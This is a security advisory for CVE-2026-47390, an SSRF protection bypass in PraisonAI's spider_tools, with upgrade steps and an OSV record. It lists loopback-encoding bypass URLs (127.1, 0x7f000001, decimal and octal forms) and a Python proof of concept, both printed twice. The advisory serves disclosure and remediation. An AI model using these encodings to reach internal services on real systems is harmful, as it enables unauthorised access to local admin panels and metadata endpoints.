CVE-2026-47390: Praisonaiagents PraisonAI Spider_tools SSRF Protection Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-5c6w-wwfq-7qqm
CVSS 5.5
CWE-918
Published
Advisory Summary

CVE-2026-47390 is a MODERATE (CVSS 5.5) praisonai spider_tools ssrf protection bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonai spider_tools ssrf protection bypass via alternate loopback host encodings. Remediation is available by upgrading affected packages to version 1.6.40, 4.6.40.

CVE-2026-47390 at a Glance

CVE Identifier CVE-2026-47390
GHSA Identifier GHSA-5c6w-wwfq-7qqm
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Praisonaiagents
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-47390

To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.40
pip install praisonaiagents>=1.6.40
PraisonAI fixed: 4.6.40
pip install PraisonAI>=4.6.40
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-47390, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.40), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary PraisonAI's `spider_tools` URL validation can be bypassed using alternate loopback host encodings. The affected component is: ```text praisonaiagents/tools/spider_tools.py ```` The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`. It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request. As a result, URLs such as the following bypass the protection and still reach loopback services: ```text http://localhost.:8765/ http://127.1:8765/ http://0177.0.0.1:8765/ http://0x7f000001:8765/ http://2130706433:8765/ ``` After the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services. This is a server-side request forgery protection bypass. ### Details The affected code is in: ```text praisonaiagents/tools/spider_tools.py ``` The vulnerable flow is: ```text attacker-controlled URL -> spider_tools._validate_url(...) -> weak exact-host blocklist check -> validation passes for alternate loopback encodings -> scrape_page(...) -> requests.Session.get(attacker_url) -> loopback service is reached ``` The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as: ```text localhost 127.0.0.1 ``` However, equivalent loopback forms are not rejected before the request is made. Confirmed bypass examples: ```text http://localhost.:8765/ http://127.1:8765/ http://0177.0.0.1:8765/ http://0x7f000001:8765/ http://2130706433:8765/ ``` These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation. The issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses. ### PoC The following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation/fetch path. The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made. The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server. #### Full PoC ```python #!/usr/bin/env python3 """PoC for PraisonAI spider_tools localhost-alias SSRF bypass.""" from __future__ import annotations import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai" AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents" SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py" def verify_source() -> None: expected = [ "def _validate_url", "requests.Session", ".get(", ] text = SPIDER_TOOLS.read_text(encoding="utf-8") for needle in expected: if needle not in text: raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}") class LocalHandler(BaseHTTPRequestHandler): hits: list[tuple[str, str | None]] = [] body = b"LOCAL-SPIDER-SSRF-SECRET" def do_GET(self) -> None: # noqa: N802 self.__class__.hits.append((self.path, self.headers.get("Host"))) self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(self.body))) self.end_headers() self.wfile.write(self.body) def log_message(self, format: str, *args) -> None: # noqa: A003 return def main() -> int: if not SPIDER_TOOLS.exists(): raise SystemExit("missing local PraisonAI source tree") verify_source() sys.path.insert(0, str(AGENTS_ROOT)) # Import the real shipped implementation. # # Depending on the exact public API exposed by spider_tools.py, # use the exported scrape function available in the local version. # The important path is: # # _validate_url(url) # -> requests.Session.get(url) # import praisonaiagents.tools.spider_tools as spider_tools server = HTTPServer(("127.0.0.1", 8765), LocalHandler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() candidates = [ "http://localhost.:8765/", "http://127.1:8765/", "http://0177.0.0.1:8765/", "http://0x7f000001:8765/", "http://2130706433:8765/", ] try: for url in candidates: LocalHandler.hits.clear() try: # Prefer the real public scraping API when available. if hasattr(spider_tools, "scrape_page"): result = spider_tools.scrape_page(url) elif hasattr(spider_tools, "extract_text"): result = spider_tools.extract_text(url) elif hasattr(spider_tools, "crawl"): result = spider_tools.crawl(url) else: raise RuntimeError("No expected spider_tools public fetch function found") reached = bool(LocalHandler.hits) contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result) print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}") if not reached: raise SystemExit(f"[poc] MISS: {url} did not reach loopback server") except Exception as exc: print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}") raise finally: server.shutdown() server.server_close() thread.join(timeout=1) print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` #### Confirmed local result The following bypasses were confirmed locally: ```text localhost. True ok ok local hit 127.1 True ok ok local hit 0177.0.0.1 True ok ok local hit 0x7f000001 True ok ok local hit 2130706433 True ok ok local hit ``` This demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service. #### Expected secure behavior All loopback-equivalent addresses should be blocked before the HTTP request is made. Examples that should be rejected: ```text http://localhost/ http://localhost./ http://127.0.0.1/ http://127.1/ http://0177.0.0.1/ http://0x7f000001/ http://2130706433/ http://[::1]/ ``` #### Actual vulnerable behavior Several alternate loopback representations pass validation and are fetched by the tool. ### Impact An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services. Potential impact includes: * SSRF against localhost-only admin panels or development servers; * access to local HTTP services that are not intended to be reachable remotely; * retrieval of local service responses into the agent/tool output; * possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment. The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings. This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.

CVE-2026-47390 Affected Praisonaiagents Versions

2 component(s)
Fixed Versions:
1.6.404.6.40
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.40
1.6.40
PraisonAI
PyPI
< 4.6.40
4.6.40

References

Frequently Asked Questions

What is CVE-2026-47390?
CVE-2026-47390 is a security vulnerability in Praisonaiagents involving PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings under CWE-918: Server-Side Request Forgery (SSRF).
Which Praisonaiagents versions are affected?
Affected versions include releases prior to 1.6.40, 4.6.40 across affected packages: praisonaiagents, PraisonAI.
What version fixes CVE-2026-47390?
Upgrading to 1.6.40, 4.6.40 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.40. Upgrade your dependency to 1.6.40 or later.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.6.40. Upgrade your dependency to 4.6.40 or later.
What is the CVSS score of CVE-2026-47390?
CVE-2026-47390 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-47390?
CVE-2026-47390 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-47390?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c6w-wwfq-7qqm",
  "modified" : "2026-05-29T22:27:09Z",
  "published" : "2026-05-29T22:27:09Z",
  "aliases" : [ "CVE-2026-47390" ],
  "summary" : "PraisonAI spider_tools SSRF protection bypass via alternate loopback host encodings",
  "details" : "### Summary\n\nPraisonAI's `spider_tools` URL validation can be bypassed using alternate loopback host encodings.\n\nThe affected component is:\n\n```text\npraisonaiagents/tools/spider_tools.py\n````\n\nThe tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as `localhost` and `127.0.0.1`.\n\nIt does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.\n\nAs a result, URLs such as the following bypass the protection and still reach loopback services:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nAfter the weak validation passes, `scrape_page()` calls `requests.Session.get()` on the attacker-controlled URL. This allows an attacker who can influence URLs passed to `scrape_page`, `crawl`, or `extract_text` to induce SSRF requests against loopback-only services.\n\nThis is a server-side request forgery protection bypass.\n\n### Details\n\nThe affected code is in:\n\n```text\npraisonaiagents/tools/spider_tools.py\n```\n\nThe vulnerable flow is:\n\n```text\nattacker-controlled URL\n  -> spider_tools._validate_url(...)\n  -> weak exact-host blocklist check\n  -> validation passes for alternate loopback encodings\n  -> scrape_page(...)\n  -> requests.Session.get(attacker_url)\n  -> loopback service is reached\n```\n\nThe validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:\n\n```text\nlocalhost\n127.0.0.1\n```\n\nHowever, equivalent loopback forms are not rejected before the request is made.\n\nConfirmed bypass examples:\n\n```text\nhttp://localhost.:8765/\nhttp://127.1:8765/\nhttp://0177.0.0.1:8765/\nhttp://0x7f000001:8765/\nhttp://2130706433:8765/\n```\n\nThese values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.\n\nThe issue is not that `spider_tools` can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.\n\n### PoC\n\nThe following PoC is non-destructive. It starts a local HTTP server on `127.0.0.1:8765`, then sends several alternate loopback URL forms through the real `spider_tools` validation/fetch path.\n\nThe expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.\n\nThe actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.\n\n#### Full PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for PraisonAI spider_tools localhost-alias SSRF bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\nSPIDER_TOOLS = AGENTS_ROOT / \"praisonaiagents/tools/spider_tools.py\"\n\n\ndef verify_source() -> None:\n    expected = [\n        \"def _validate_url\",\n        \"requests.Session\",\n        \".get(\",\n    ]\n\n    text = SPIDER_TOOLS.read_text(encoding=\"utf-8\")\n    for needle in expected:\n        if needle not in text:\n            raise RuntimeError(f\"source verification failed: {needle!r} not found in {SPIDER_TOOLS}\")\n\n\nclass LocalHandler(BaseHTTPRequestHandler):\n    hits: list[tuple[str, str | None]] = []\n    body = b\"LOCAL-SPIDER-SSRF-SECRET\"\n\n    def do_GET(self) -> None:  # noqa: N802\n        self.__class__.hits.append((self.path, self.headers.get(\"Host\")))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, format: str, *args) -> None:  # noqa: A003\n        return\n\n\ndef main() -> int:\n    if not SPIDER_TOOLS.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Import the real shipped implementation.\n    #\n    # Depending on the exact public API exposed by spider_tools.py,\n    # use the exported scrape function available in the local version.\n    # The important path is:\n    #\n    #   _validate_url(url)\n    #     -> requests.Session.get(url)\n    #\n    import praisonaiagents.tools.spider_tools as spider_tools\n\n    server = HTTPServer((\"127.0.0.1\", 8765), LocalHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n\n    candidates = [\n        \"http://localhost.:8765/\",\n        \"http://127.1:8765/\",\n        \"http://0177.0.0.1:8765/\",\n        \"http://0x7f000001:8765/\",\n        \"http://2130706433:8765/\",\n    ]\n\n    try:\n        for url in candidates:\n            LocalHandler.hits.clear()\n\n            try:\n                # Prefer the real public scraping API when available.\n                if hasattr(spider_tools, \"scrape_page\"):\n                    result = spider_tools.scrape_page(url)\n                elif hasattr(spider_tools, \"extract_text\"):\n                    result = spider_tools.extract_text(url)\n                elif hasattr(spider_tools, \"crawl\"):\n                    result = spider_tools.crawl(url)\n                else:\n                    raise RuntimeError(\"No expected spider_tools public fetch function found\")\n\n                reached = bool(LocalHandler.hits)\n                contains_secret = \"LOCAL-SPIDER-SSRF-SECRET\" in str(result)\n\n                print(f\"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}\")\n\n                if not reached:\n                    raise SystemExit(f\"[poc] MISS: {url} did not reach loopback server\")\n\n            except Exception as exc:\n                print(f\"{url} blocked_or_failed={type(exc).__name__}: {exc}\")\n                raise\n\n    finally:\n        server.shutdown()\n        server.server_close()\n        thread.join(timeout=1)\n\n    print(\"[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n#### Confirmed local result\n\nThe following bypasses were confirmed locally:\n\n```text\nlocalhost. True ok ok local hit\n127.1 True ok ok local hit\n0177.0.0.1 True ok ok local hit\n0x7f000001 True ok ok local hit\n2130706433 True ok ok local hit\n```\n\nThis demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.\n\n#### Expected secure behavior\n\nAll loopback-equivalent addresses should be blocked before the HTTP request is made.\n\nExamples that should be rejected:\n\n```text\nhttp://localhost/\nhttp://localhost./\nhttp://127.0.0.1/\nhttp://127.1/\nhttp://0177.0.0.1/\nhttp://0x7f000001/\nhttp://2130706433/\nhttp://[::1]/\n```\n\n#### Actual vulnerable behavior\n\nSeveral alternate loopback representations pass validation and are fetched by the tool.\n\n### Impact\n\nAn attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.\n\nPotential impact includes:\n\n* SSRF against localhost-only admin panels or development servers;\n* access to local HTTP services that are not intended to be reachable remotely;\n* retrieval of local service responses into the agent/tool output;\n* possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.\n\nThe most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.\n\nThis report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.39"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.40"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.39"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T22:27:09Z",
    "nvd_published_at" : null
  }
}